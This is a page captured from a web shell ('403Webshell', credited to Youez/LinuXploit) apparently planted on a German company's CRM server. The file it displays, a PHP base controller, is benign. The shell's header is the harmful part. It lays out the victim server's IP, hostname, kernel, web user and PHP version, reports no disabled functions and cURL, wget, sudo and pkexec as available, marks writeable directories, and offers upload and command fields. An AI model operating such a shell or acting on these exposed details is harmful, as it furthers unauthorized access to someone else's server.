403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/arni-solutions.de/web/crm/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/arni-solutions.de/web/crm/app/Controller.php
<?php
/**
 * Basis-Controller: gemeinsame Helfer für alle Controller.
 */
class Controller
{
    /** View mit Layout rendern und ausgeben. */
    protected function view($name, array $data = [], $layout = 'layouts/app')
    {
        echo view($name, $data, $layout);
    }

    /** JSON ausgeben und beenden. */
    protected function json($data, $code = 200)
    {
        http_response_code($code);
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
        exit;
    }

    /** Zur vorherigen Seite zurück (oder Fallback). */
    protected function back($fallback = null)
    {
        $to = $_SERVER['HTTP_REFERER'] ?? ($fallback ?: url('dashboard'));
        redirect($to);
    }

    /** Bei POST den CSRF-Token prüfen. */
    protected function guardPost()
    {
        if (!is_post()) {
            http_response_code(405);
            exit('Methode nicht erlaubt.');
        }
        csrf_verify();
    }

    /** Pflichtfeld-Validierung. Gibt Fehlermeldungen-Array zurück. */
    protected function required(array $fields, array $source)
    {
        $errors = [];
        foreach ($fields as $field => $label) {
            if (!isset($source[$field]) || trim((string)$source[$field]) === '') {
                $errors[$field] = $label . ' ist erforderlich.';
            }
        }
        return $errors;
    }

    /**
     * Bereitet eine lang laufende Aktion vor: hebt das Zeitlimit auf, lässt das
     * Skript auch bei Verbindungsabbruch weiterlaufen UND gibt den Session-Lock
     * frei – sonst blockiert die offene Session alle weiteren Requests des Nutzers
     * (führt sonst zu „eingeloggt-aber-alles-hängt"/weißer Seite bei langem Sync).
     */
    protected function beginLongTask()
    {
        @set_time_limit(0);
        @ignore_user_abort(true);
        if (session_status() === PHP_SESSION_ACTIVE) session_write_close();
    }

    /** Session wieder öffnen (z.B. um danach eine Flash-Meldung zu setzen). */
    protected function endLongTask()
    {
        if (session_status() !== PHP_SESSION_ACTIVE) @session_start();
    }

    /** 404-Seite. */
    protected function notFound($msg = 'Seite nicht gefunden')
    {
        http_response_code(404);
        echo view('errors/404', ['title' => $msg, 'message' => $msg]);
        exit;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit